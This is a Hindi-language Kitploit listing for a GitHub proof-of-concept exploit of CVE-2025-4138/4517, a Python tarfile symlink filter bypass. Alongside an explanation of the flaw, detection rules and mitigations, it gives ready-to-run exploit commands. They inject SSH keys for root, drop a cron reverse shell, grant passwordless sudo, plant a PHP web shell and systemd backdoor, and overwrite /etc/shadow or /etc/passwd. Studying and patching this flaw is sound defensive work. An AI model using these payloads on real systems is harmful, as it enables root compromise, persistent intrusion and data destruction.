Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-4138-4517-POC — CVE-2025-4138 / CVE-2025-4517 — Python tarfile PATH_MAX सिमलिंक फ़िल्टर बाइपास | Kitploit
उपकरण/GitHubGitHub/desertdemons/cve-2025-4138-4517-poc
विशेषाधिकार वृद्धिपेलोड जनरेशनभेद्यता विश्लेषणशोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षाबाइनरी शोषण
GitHubdesertdemons/cve-2025-4138-4517-poc

CVE-2025-4138-4517-POC

CVE-2025-4138 / CVE-2025-4517 — Python tarfile PATH_MAX सिमलिंक फ़िल्टर बाइपास

रिपॉजिटरी देखें
1722 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-4138 CVE-2025-4517 CVSS 9.4 Python Affected

CVE-2025-4138 / CVE-2025-4517
PATH_MAX सिमलिंक एस्केप के ज़रिए Python tarfile फ़िल्टर बाईपास

filter="data" / filter="tar" निष्कर्षण के माध्यम से मनमानी फ़ाइल लेखन

Type CWE-22 Platform Language License Stars Forks Last Commit


विषय-सूची

  • अवलोकन
  • भेद्यता विवरण
  • यह कैसे काम करता है
  • प्रभावित संस्करण
  • प्रभावित कोड पैटर्न
  • स्थापना
  • उपयोग
    • त्वरित आरंभ — SSH कुंजी इंजेक्शन
    • पूर्वनिर्धारित हमले
    • कस्टम लक्ष्य
  • प्रूफ़ ऑफ़ कॉन्सेप्ट — सुरक्षित सत्यापन
  • तकनीकी गहन विवरण
    • PATH_MAX और os.path.realpath()
    • सिमलिंक श्रृंखला निर्माण
    • फ़िल्टर बाईपास तंत्र
    • शोषण के चरण
  • वास्तविक-विश्व हमले के परिदृश्य
  • पहचान
  • शमन
  • संबंधित CVE
  • समयरेखा
  • संदर्भ
  • श्रेय
  • अस्वीकरण
  • लाइसेंस

अवलोकन

Python के tarfile मॉड्यूल में एक गंभीर भेद्यता हमलावर को निष्कर्षण फ़िल्टर ("data" और "tar") को बायपास करने और इच्छित निष्कर्षण निर्देशिका के बाहर मनमानी फ़ाइलें लिखने की अनुमति देती है। जब कोई विशेषाधिकार प्राप्त प्रक्रिया (जैसे कि रूट-स्तरीय बैकअप स्क्रिप्ट, CI/CD पाइपलाइन, या पैकेज इंस्टॉलर) कथित रूप से सुरक्षित filter="data" पैरामीटर का उपयोग करके हमलावर-नियंत्रित tar संग्रह निकालती है, तो यह शोषण उस विशेषाधिकार प्राप्त उपयोगकर्ता के रूप में पूर्ण मनमानी फ़ाइल लेखन प्राप्त करता है — आमतौर पर रूट तक विशेषाधिकार वृद्धि।

मूल कारण os.path.realpath() में एक व्यवहारिक विचित्रता है: जब पूर्ण रूप से विस्तारित पथ PATH_MAX (लिनक्स पर 4096 बाइट्स, macOS पर 1024) से अधिक हो जाता है, तो यह चुपचाप सिमलिंक का समाधान करना बंद कर देता है। tarfile फ़िल्टर सुरक्षा जाँचों के लिए realpath() पर निर्भर करता है, लेकिन कर्नेल निष्कर्षण के दौरान सिमलिंक को स्वतंत्र रूप से हल करता है — जिससे TOCTOU (जाँच-से-उपयोग-का-समय) अंतराल बनता है जो निर्देशिका एस्केप को सक्षम बनाता है।


भेद्यता विवरण


यह कैसे काम करता है```

root@kitploit:~
                ┌───────────────────────────────────────────┐
                │         Malicious Tar Structure            │
                └───────────────────────────────────────────┘

Stage 1 ── Build symlink chain that inflates the resolved path past PATH_MAX

root@kitploit:~
ddd...ddd/              (directory, 247 chars)
a  →  ddd...ddd         (symlink,   1 char name → 247 char dir)
ddd...ddd/ddd...ddd/    (nested directory)
b  →  ddd...ddd         (symlink)
...  ×16 levels

Short path (symlinks):   a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p       ~31 chars
Resolved path (dirs):    ddd…/ddd…/ddd…/ddd…/ddd…/ddd…/…      ~3968 chars
                                                           ↑ nearing PATH_MAX

Stage 2 ── Final symlink exceeds PATH_MAX → realpath() stops resolving

root@kitploit:~
a/b/c/…/p/lll…lll  →  ../../../../../../../../../../../../../../../../..
                        (16 levels of ".." — traverses back to extraction root)

┌─────────────────────────────────────────────────────────────────┐
│  os.path.realpath()  CANNOT expand this  →  filter says "OK" ✓ │
│  Linux kernel         DOES follow chain  →  actually escapes ✗ │
└─────────────────────────────────────────────────────────────────┘

Stage 3 ── Escape symlink resolves to arbitrary filesystem path

root@kitploit:~
escape  →  <overflow_link>/../../../../../../../root

Stage 4 ── Create intermediate directories through the escape

root@kitploit:~
escape/.ssh/            (directory, mode 0700 — created by tar extraction)

Stage 5 ── Write payload through the escaped symlink

root@kitploit:~
escape/.ssh/authorized_keys  →  writes to /root/.ssh/authorized_keys  🔓
root@kitploit:~
---

## प्रभावित संस्करण

| Python शाखा | कमजोर सीमा | स्थिर संस्करण | स्थिति |
|:--|:--|:--|:--|
| 3.13 | 3.13.0 – 3.13.3 | **3.13.4** | ✅ पैच किया गया |
| 3.12 | 3.12.0 – 3.12.10 | **3.12.11** | ✅ पैच किया गया |
| 3.11 | 3.11.4 – 3.11.12 | **3.11.13** | ✅ पैच किया गया |
| 3.10 | 3.10.12 – 3.10.17 | **3.10.18** | ✅ पैच किया गया |
| 3.9 | 3.9.17 – 3.9.22 | **3.9.23** | ✅ पैच किया गया |
| 3.8 | 3.8.17 – 3.8.20 | — | ❌ जीवन-अंत |
| 3.14+ | डिफ़ॉल्ट फ़िल्टर `"data"` में बदल दिया गया | नवीनतम देखें | ⚠️ अधिक जोखिम |

> **नोट:** Python 3.14+ ने डिफ़ॉल्ट `filter` पैरामीटर को बिना फ़िल्टरिंग से बदलकर `"data"` कर दिया है, जिसका अर्थ है कि जिन अनुप्रयोगों में पहले कोई फ़िल्टर नहीं था (और इस प्रकार पहले से ही असुरक्षित थे) अब वे डिफ़ॉल्ट रूप से कमजोर फ़िल्टर का उपयोग करते हैं।

---

## प्रभावित कोड पैटर्न

कोई भी अनुप्रयोग जो कमजोर Python संस्करण पर ऐसा करता है वह शोषण योग्य है:```python
import tarfile

# VULNERABLE — filter="data" can be bypassed
with tarfile.open("untrusted_archive.tar", "r") as tar:
    tar.extractall(path="/some/directory", filter="data")

# ALSO VULNERABLE — filter="tar" has the same flaw
with tarfile.open("untrusted_archive.tar", "r") as tar:
    tar.extractall(path="/some/directory", filter="tar")

सामान्य वास्तविक दुनिया की स्थितियाँ:

  • बैकअप/रीस्टोर स्क्रिप्ट रूट के रूप में चल रही हैं
  • CI/CD पाइपलाइन बिल्ड आर्टिफैक्ट निकाल रही हैं
  • पैकेज मैनेजर और इंस्टॉलर .tar वितरणों को प्रोसेस कर रहे हैं
  • वेब अनुप्रयोग उपयोगकर्ता द्वारा अपलोड किए गए आर्काइव स्वीकार कर रहे हैं
  • कॉन्फ़िगरेशन प्रबंधन उपकरण डिप्लॉयमेंट बंडल निकाल रहे हैं

स्थापना```bash

git clone https://github.com/DesertDemons/CVE-2025-4138-4517-POC.git cd CVE-2025-4138-4517-POC

No dependencies — uses only Python standard library

python3 exploit.py --help

root@kitploit:~
**आवश्यकताएँ:** Python 3.6+ (आर्काइव निर्माण के लिए — **लक्ष्य** को असुरक्षित संस्करण चलाना चाहिए)

---

## उपयोग

### त्वरित आरंभ — SSH कुंजी इंजेक्शन```bash
# 1. Generate an SSH key pair (REQUIRED — must exist before creating tar)
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -N ""
cat ~/.ssh/id_ed25519.pub   # verify key was created

# 2. Create the malicious tar archive
python3 exploit.py \
    --preset ssh-key \
    --payload ~/.ssh/id_ed25519.pub \
    --tar-out ./evil.tar

# 3. Deliver the tar and trigger privileged extraction
#    (method varies — backup script, upload endpoint, CI pipeline, etc.)
#    Example: sudo python3 vulnerable_app.py --extract evil.tar

# 4. SSH in as root (use the SAME key you generated in step 1)
ssh -i ~/.ssh/id_ed25519 root@target

महत्वपूर्ण: एक्सप्लॉइट स्वचालित रूप से tar आर्काइव के अंदर मध्यवर्ती निर्देशिकाएँ (जैसे /root/.ssh/) बनाता है। यदि लक्ष्य निर्देशिका फ़ाइल सिस्टम पर मौजूद नहीं है, तो extractall() इसे निष्कर्षण के दौरान बनाएगा।

प्रीसेट हमले

Reverse shell via cron (every minute)

python3 exploit.py --preset cron --extra 10.0.0.5 --tar-out evil.tar

Passwordless sudo for user "john"

python3 exploit.py --preset sudoers --extra john --tar-out evil.tar

SSH key with custom file mode

python3 exploit.py --preset ssh-key --payload ~/.ssh/id_rsa.pub
--mode 0600 --tar-out evil.tar

root@kitploit:~
### कस्टम टारगेट

लक्ष्य फाइलसिस्टम पर किसी भी निरपेक्ष पथ पर कोई भी सामग्री लिखें:```bash
# Overwrite MOTD
python3 exploit.py \
    --target /etc/motd \
    --payload "Authorized access only." \
    --mode 0644 \
    --tar-out evil.tar

# Plant a web shell
python3 exploit.py \
    --target /var/www/html/shell.php \
    --payload '<?php system($_GET["cmd"]); ?>' \
    --mode 0644 \
    --tar-out evil.tar

# Overwrite a systemd service for persistence
python3 exploit.py \
    --target /etc/systemd/system/backdoor.service \
    --payload backdoor.service \
    --mode 0644 \
    --tar-out evil.tar

अवधारणा का प्रमाण — सुरक्षित सत्यापन

परीक्षण करें कि क्या कोई सिस्टम संवेदनशील फ़ाइलों को छुए बिना असुरक्षित है:```bash

1. Create isolated test environment

mkdir -p /tmp/cve_test/flag /tmp/cve_test/extract echo "original_content" > /tmp/cve_test/flag/testfile

2. Generate PoC tar targeting the test file

python3 exploit.py
--target /tmp/cve_test/flag/testfile
--payload "OVERWRITTEN_BY_CVE-2025-4138"
--tar-out /tmp/cve_test/poc.tar

3. Extract with filter="data" (simulating a vulnerable application)

python3 -c " import tarfile tarfile.open('/tmp/cve_test/poc.tar', 'r').extractall( '/tmp/cve_test/extract', filter='data' ) "

4. Check result

cat /tmp/cve_test/flag/testfile

Vulnerable: "OVERWRITTEN_BY_CVE-2025-4138"

Patched: "original_content" (extraction raises error)

5. Cleanup

rm -rf /tmp/cve_test

root@kitploit:~
### त्वरित संस्करण जाँच```bash
python3 -c "
import sys
v = sys.version_info
vuln = (
    (v.minor == 12 and v.micro <= 10) or
    (v.minor == 13 and v.micro <= 3) or
    (v.minor == 11 and 4 <= v.micro <= 12) or
    (v.minor == 10 and 12 <= v.micro <= 17) or
    (v.minor == 9 and 17 <= v.micro <= 22)
)
status = '❌ VULNERABLE' if vuln else '✅ Patched/Not affected'
print(f'Python {sys.version} — {status}')
"

तकनीकी डीप डाइव

PATH_MAX और os.path.realpath()

Linux पर, PATH_MAX को 4096 बाइट्स के रूप में परिभाषित किया गया है। macOS पर, यह 1024 बाइट्स है। जब os.path.realpath() किसी पथ को घटक-दर-घटक हल करता है और संचित हल किया गया पथ इस सीमा से अधिक हो जाता है, तो यह चुपचाप शेष घटकों को हल करना बंद कर देता है और उन्हें शाब्दिक स्ट्रिंग्स के रूप में जोड़ देता है।``` os.path.realpath() behavior:

Input: /extract/a/b/c/.../p/llll.../../../../../root/.ssh │ ├── resolved portion: /extract/ddd.../ddd.../... (3968+ bytes) └── unresolved tail: /../../../../root/.ssh ↑ appended literally!

Output: /extract/ddd.../ddd.../ddd.../../../../../root/.ssh │ │ └── Starts with /extract/ → filter says "OK" ✓ │ └── But the ../ is real!

root@kitploit:~
यह `realpath()` का **प्रलेखित** व्यवहार है, लेकिन tarfile फ़िल्टर कार्यान्वयन ने इसका ध्यान नहीं रखा।

### सिमलिंक श्रृंखला निर्माण

श्रृंखला का प्रत्येक स्तर निम्न से मिलकर बना है:

| प्रविष्टि | प्रकार | नाम की लंबाई | उद्देश्य |
|:--|:--|:--|:--|
| निर्देशिका | `DIRTYPE` | 247 अक्षर (Linux) / 55 अक्षर (macOS) | लंबा नाम रिज़ॉल्व्ड पथ को फुलाता है |
| सिमलिंक | `SYMTYPE` | 1 अक्षर (`a`, `b`, …, `p`) | लंबी निर्देशिका के लिए छोटा उपनाम |

16 स्तरों के बाद:

| मीट्रिक | मान |
|:--|:--|
| **छोटा पथ** (सिमलिंक के माध्यम से) | `a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p` ≈ 31 अक्षर |
| **रिज़ॉल्व्ड पथ** (निर्देशिकाओं के माध्यम से) | `ddd…/ddd…/ddd…/…` ≈ **3968 अक्षर** |
| **PATH_MAX** | 4096 बाइट्स |
| **शेष बजट** | ~128 बाइट्स — ट्रैवर्सल पेलोड के लिए पर्याप्त नहीं |

### फ़िल्टर बायपास तंत्र

Python के tarfile मॉड्यूल में `data_filter` यह जाँच करता है:```python
# Simplified from Lib/tarfile.py
def _check_linkname(member, dest_path):
    target = os.path.realpath(os.path.join(dest_path, member.linkname))
    if not target.startswith(dest_path):
        raise FilterError("link would escape destination")

The vulnerability:

  1. realpath() प्राप्त करता है: /extract/a/b/c/.../p/lll.../../../../../root/.ssh
  2. realpath() हल करता है a/b/c/.../p भाग को symlink श्रृंखला के माध्यम से → 3968+ बाइट्स
  3. PATH_MAX पार हो गया → शेष ../../../../root/.ssh को शाब्दिक रूप से जोड़ दिया जाता है
  4. परिणाम: /extract/ddd…(3968 वर्ण)…/../../../../root/.ssh
  5. फ़िल्टर जाँच: /extract/ से शुरू होता है → पास ✓
  6. कर्नेल निष्कर्षण: वास्तविक symlinks का अनुसरण करता है → ../ को सामान्य रूप से हल करता है → बचकर /root तक
  7. निर्देशिका निर्माण: escape/.ssh को एक निर्देशिका के रूप में निकाला जाता है → /root/.ssh/ बनाता है (मोड 0700)

शोषण चरण```

┌────────────────────────────────────────────────────────────────────────┐ │ EXPLOIT PIPELINE │ ├────────────────────────────────────────────────────────────────────────┤ │ │ │ Stage 1: PATH_MAX Inflation │ │ ┌─────────┐ ┌─────────┐ ┌─────────┐ │ │ │ dir(247) │──▶│ sym a→d │──▶ ... │ sym p→d │ ×16 levels │ │ └─────────┘ └─────────┘ └─────────┘ │ │ Resolved path accumulates to ~3968 bytes │ │ │ │ Stage 2: Pivot Symlink (exceeds PATH_MAX) │ │ ┌──────────────────────────────────────────┐ │ │ │ a/b/c/.../p/lll...lll → ../../... (×16) │ │ │ └──────────────────────────────────────────┘ │ │ realpath() cannot resolve → filter is blind │ │ │ │ Stage 3: Escape Symlink │ │ ┌──────────────────────────────────────────┐ │ │ │ escape → /../../../../<target_root>│ │ │ └──────────────────────────────────────────┘ │ │ Points to the target's top-level parent (e.g. /root) │ │ │ │ Stage 4: Create Intermediate Directories │ │ ┌──────────────────────────────────────────┐ │ │ │ escape/.ssh (DIRTYPE, mode 0700) │ │ │ └──────────────────────────────────────────┘ │ │ Ensures parent dirs exist (e.g. /root/.ssh) — critical │ │ for targets where the parent directory may not exist │ │ │ │ Stage 5: Payload Write │ │ ┌──────────────────────────────────────────┐ │ │ │ escape/.ssh/authorized_keys = payload │ │ │ └──────────────────────────────────────────┘ │ │ File is written through the escaped symlink as the │ │ process owner (typically root) │ │ │ └────────────────────────────────────────────────────────────────────────┘

root@kitploit:~
---

## वास्तविक-विश्व आक्रमण परिदृश्य

### 1. विशेषाधिकार-प्राप्त बैकअप पुनर्स्थापना

रूट के रूप में चलने वाली एक बैकअप स्क्रिप्ट उपयोगकर्ता-द्वारा प्रदान किए गए tar संग्रह निकालती है:```python
# /usr/local/bin/restore_backup.py (runs via sudo)
tar.extractall(path="/var/backups/restored", filter="data")

प्रभाव: हमलावर एक दुर्भावनापूर्ण बैकअप प्रदान करता है → /root/.ssh/authorized_keys में SSH कुंजी लिखता है → रूट शेल प्राप्त करता है।

2. CI/CD पाइपलाइन आर्टिफैक्ट निष्कर्षण

एक बिल्ड सिस्टम अविश्वसनीय स्रोतों से आर्टिफैक्ट निकालता है:```python

Jenkins/GitLab runner extracting build output

tar.extractall(path=workspace_dir, filter="data")

root@kitploit:~
**Impact:** दुर्भावनापूर्ण आर्टिफैक्ट कार्यक्षेत्र से बाहर निकल जाता है → CI कॉन्फ़िगरेशन को अधिलेखित कर देता है → बिल्ड इन्फ्रास्ट्रक्चर पर कोड निष्पादन प्राप्त करता है।

### 3. वेब एप्लिकेशन अपलोड प्रोसेसिंग

एक वेब ऐप टार अपलोड स्वीकार करता है और उन्हें निकालता है:```python
# Flask/Django file processing endpoint
tar.extractall(path=upload_dir, filter="data")

Impact: दूरस्थ हमलावर क्राफ्टेड tar अपलोड करता है → document root में वेब शेल लिखता है → RCE प्राप्त करता है।

4. पैकेज इंस्टॉलेशन

पायथन पैकेज मैनेजर स्रोत वितरण निकाल रहे हैं:```python

pip/setuptools extracting sdist

tar.extractall(path=build_dir, filter="data")

root@kitploit:~
**प्रभाव:** दुर्भावनापूर्ण PyPI पैकेज बिल्ड निर्देशिका से बाहर निकल जाता है → सिस्टम फ़ाइलों को संशोधित करता है।

---

## पता लगाना

### समझौता संकेतक

इन पैटर्नों पर नज़र रखें जो शोषण का संकेत दे सकते हैं:```bash
# Check for deeply nested symlink chains in extracted directories
find /path/to/extractions -maxdepth 20 -type l | \
    xargs -I{} readlink {} | grep -c "^d\{200,\}"

# Audit tar extraction operations in application logs
grep -r "extractall\|filter=\"data\"\|filter=\"tar\"" /var/log/

# Monitor for unexpected file writes in sensitive directories
auditctl -w /root/.ssh/ -p wa -k tarfile_escape
auditctl -w /etc/cron.d/ -p wa -k tarfile_escape
auditctl -w /etc/sudoers.d/ -p wa -k tarfile_escape

YARA नियम```yara

rule CVE_2025_4138_Malicious_Tar { meta: description = "Detects tar archives crafted for CVE-2025-4138 PATH_MAX bypass" cve = "CVE-2025-4138" severity = "critical" strings: $long_dir = /d{240,250}// ascii $chain = /[a-p]/[a-p]/[a-p]/[a-p]/ ascii $pad = /l{250,}/ ascii $traversal = "../../../" ascii condition: uint16(0) == 0x0000 and $long_dir and $chain and ($pad or #traversal > 8) }

root@kitploit:~
---

## शमन

### 1. Python को अपग्रेड करें (अनुशंसित)```bash
# Check current version
python3 -c "import sys; print(sys.version)"

# Upgrade to patched version:
#   3.9.23+  |  3.10.18+  |  3.11.13+  |  3.12.11+  |  3.13.4+

2. निष्कर्षण-पूर्व सत्यापन (वर्कअराउंड)

यदि तत्काल अपग्रेड संभव नहीं है:```python import pathlib import tarfile

def safe_extract(tar_path: str, dest: str) -> None: """Extract tar archive with CVE-2025-4138 mitigation.""" with tarfile.open(tar_path, "r") as tar: for member in tar.getmembers(): # Block symlinks with traversal in link targets if member.linkname: parts = pathlib.PurePosixPath(member.linkname).parts if ".." in parts: raise ValueError( f"Blocked: '{member.name}' has traversal " f"in linkname: '{member.linkname}'" ) # Block absolute symlink targets if member.issym() and member.linkname.startswith("/"): raise ValueError( f"Blocked: '{member.name}' has absolute " f"symlink target: '{member.linkname}'" ) # Re-open to reset iterator tar.extractall(path=dest, filter="data")

root@kitploit:~
### 3. सैंडबॉक्स्ड निष्कर्षण```bash
# Extract in a minimal container or namespace
unshare --mount --map-root-user -- sh -c '
    mount -t tmpfs tmpfs /mnt
    python3 -c "
import tarfile
tarfile.open(\"archive.tar\", \"r\").extractall(\"/mnt/extract\", filter=\"data\")
    "
'

4. वैकल्पिक निष्कर्षण उपकरण```bash

Use GNU tar instead of Python tarfile

tar --no-same-permissions --no-same-owner -xf archive.tar -C /dest/

root@kitploit:~
---

## संबंधित CVE

| CVE | विवरण | गंभीरता |
|:--|:--|:--|
| **CVE-2025-4138** | PATH_MAX ओवरफ्लो के माध्यम से सिमलिंक टार्गेट फ़िल्टर बाइपास | गंभीर |
| **CVE-2025-4517** | realpath ओवरफ्लो के माध्यम से मनमानी फ़ाइल लेखन (समान मूल कारण) | गंभीर |
| **CVE-2025-4330** | निष्कर्षण फ़िल्टर को बाइपास करने वाला सिमलिंक पाथ ट्रैवर्सल | उच्च |
| **CVE-2024-12718** | निष्कर्षण निर्देशिका के बाहर फ़ाइल मेटाडेटा संशोधन | उच्च |
| **CVE-2025-4435** | `errorlevel=0` होने पर फ़िल्टर की गई फ़ाइलें फिर भी निकाली गईं | मध्यम |
| **CVE-2007-4559** | मूल tarfile पाथ ट्रैवर्सल (फ़िल्टर-रहित युग) | उच्च |

इन सभी को [CPython Issue #135034](https://github.com/python/cpython/issues/135034) और [PR #135037](https://github.com/python/cpython/pull/135037) में संबोधित किया गया।

---

## समयरेखा

| दिनांक | घटना |
|:--|:--|
| 2025-04-30 | Python सुरक्षा प्रतिक्रिया टीम को भेद्यता की सूचना दी गई |
| 2025-06-02 | सार्वजनिक मुद्दा खोला गया — [CPython #135034](https://github.com/python/cpython/issues/135034) |
| 2025-06-03 | सुधार विलय किया गया — [CPython PR #135037](https://github.com/python/cpython/pull/135037) |
| 2025-06-03 | [PSF सुरक्षा घोषणा](https://mail.python.org/archives/list/[email protected]/thread/MAXIJJCUUMCL7ATZNDVEGGHUMQMUUKLG/) प्रकाशित |
| 2025-06-03 | पैच किए गए रिलीज़: Python 3.9.23, 3.10.18, 3.11.13, 3.12.11, 3.13.4 |
| 2025-06-04 | CERT-FR परामर्श [CERTFR-2025-AVI-0475](https://www.cert.ssi.gouv.fr/) |
| 2025-06-20 | Google Security Research परामर्श [GHSA-hgqp-3mmf-7h8f](https://github.com/google/security-research/security/advisories/GHSA-hgqp-3mmf-7h8f) |
| 2025-07-20 | पूर्ण प्रकटीकरण |

---

## संदर्भ

- [GHSA-hgqp-3mmf-7h8f](https://github.com/google/security-research/security/advisories/GHSA-hgqp-3mmf-7h8f) — Google Security Research परामर्श और मूल PoC
- [CPython Issue #135034](https://github.com/python/cpython/issues/135034) — अपस्ट्रीम बग रिपोर्ट
- [CPython PR #135037](https://github.com/python/cpython/pull/135037) — सुधार कमिट
- [PSF सुरक्षा घोषणा](https://mail.python.org/archives/list/[email protected]/thread/MAXIJJCUUMCL7ATZNDVEGGHUMQMUUKLG/) — आधिकारिक परामर्श
- [Seth Larson की शमन Gist](https://gist.github.com/sethmlarson/52398e33eff261329a0180ac1d54f42f) — त्वरित शमन स्क्रिप्ट
- [NVD — CVE-2025-4138](https://nvd.nist.gov/vuln/detail/CVE-2025-4138)
- [NVD — CVE-2025-4517](https://nvd.nist.gov/vuln/detail/CVE-2025-4517)
- [Python `tarfile` निष्कर्षण फ़िल्टर दस्तावेज़ीकरण](https://docs.python.org/3/library/tarfile.html#tarfile-extraction-filter)
- [Linux `realpath(3)` मैन पेज](https://man7.org/linux/man-pages/man3/realpath.3.html) — PATH_MAX व्यवहार

---

## श्रेय

- **भेद्यता खोज:** [Caleb Brown](https://github.com/calebbrown) — Google Security Research
- **पैच लेखक:** Łukasz Langa, Petr Viktorin, Seth Michael Larson, Serhiy Storchaka
- **यह PoC:** [DesertDemon](https://github.com/DesertDemons)

---

## अस्वीकरण

> **⚠️ यह टूल केवल अधिकृत सुरक्षा परीक्षण, अनुसंधान और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है।**
>
> कंप्यूटर सिस्टम तक अनधिकृत पहुँच कंप्यूटर फ्रॉड एंड एब्यूज़ एक्ट (CFAA), कंप्यूटर मिसयूज़ एक्ट, और दुनिया भर में समकक्ष कानूनों के तहत अवैध है। किसी भी ऐसी प्रणाली का परीक्षण करने से पहले हमेशा स्पष्ट लिखित प्राधिकरण प्राप्त करें जिसके आप स्वामी नहीं हैं।
>
> लेखक इस सॉफ़्टवेयर के दुरुपयोग के लिए कोई दायित्व नहीं मानता। इस टूल का उपयोग करके, आप सहमत हैं कि आप अपने कार्यों के लिए पूर्णतः जिम्मेदार हैं और आप सभी लागू कानूनों का पालन करेंगे।

---

**टैग:** `cve-2025-4138` `cve-2025-4517` `python` `tarfile` `path-traversal` `symlink` `privilege-escalation` `arbitrary-file-write` `toctou` `cwe-22` `linux` `macos`

## लाइसेंस

यह प्रोजेक्ट [MIT लाइसेंस](https://github.com/desertdemons/cve-2025-4138-4517-poc/blob/HEAD/LICENSE) के अंतर्गत लाइसेंस प्राप्त है।

---

<p align="center">
  <sub>
    🔐 यदि आपको यह उपयोगी लगे, तो रिपॉजिटरी को स्टार करने पर विचार करें<br>
    📫 जिम्मेदार प्रकटीकरण पूछताछ के लिए, एक मुद्दा खोलें या GitHub के माध्यम से संपर्क करें
  </sub>
</p>
टूल डाउनलोड करें
फ़ील्डमान
CVE आईडीCVE-2025-4138, CVE-2025-4517
CVSS v3.19.4 (गंभीर) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
CWECWE-22 — प्रतिबंधित निर्देशिका में पथनाम की अनुचित सीमा
भेद्यता प्रकारसिमलिंक के माध्यम से पथ ट्रैवर्सल / फ़िल्टर बाईपास
प्रभावमनमानी फ़ाइल लेखन → विशेषाधिकार वृद्धि, सैंडबॉक्स एस्केप, डेटा छेड़छाड़
हमला वेक्टरफ़िल्टर के साथ tarfile.extractall() का उपयोग करने वाले किसी भी एप्लिकेशन को दुर्भावनापूर्ण tar संग्रह वितरित करें
प्रभावितPython 3.12.0 – 3.12.10, 3.13.0 – 3.13.3
फिक्स किया गयाPython 3.9.23, 3.10.18, 3.11.13, 3.12.11, 3.13.4
पैचCPython PR #135037
एडवाइज़रीGHSA-hgqp-3mmf-7h8f
रिपोर्टकर्ताCaleb Brown — Google Security Research
प्रीसेटलक्ष्य फ़ाइलविवरण--extra पैरामीटर
ssh-key/root/.ssh/authorized_keysरूट लॉगिन के लिए SSH सार्वजनिक कुंजी इंजेक्ट करें—
cron/etc/cron.d/pwnedरूट रिवर्स शेल क्रॉन जॉब ड्रॉप करेंLHOST IP पता
sudoers/etc/sudoers.d/pwnedकिसी उपयोगकर्ता के लिए NOPASSWD sudo नियम जोड़ेंउपयोगकर्ता नाम
shadow/etc/shadowshadow फ़ाइल को अधिलेखित करें (⚠️ विनाशकारी)—
passwd/etc/passwdpasswd फ़ाइल को अधिलेखित करें (⚠️ विनाशकारी)—
  • पेलोड लेखन: escape/.ssh/authorized_keys → /root/.ssh/authorized_keys में लिखता है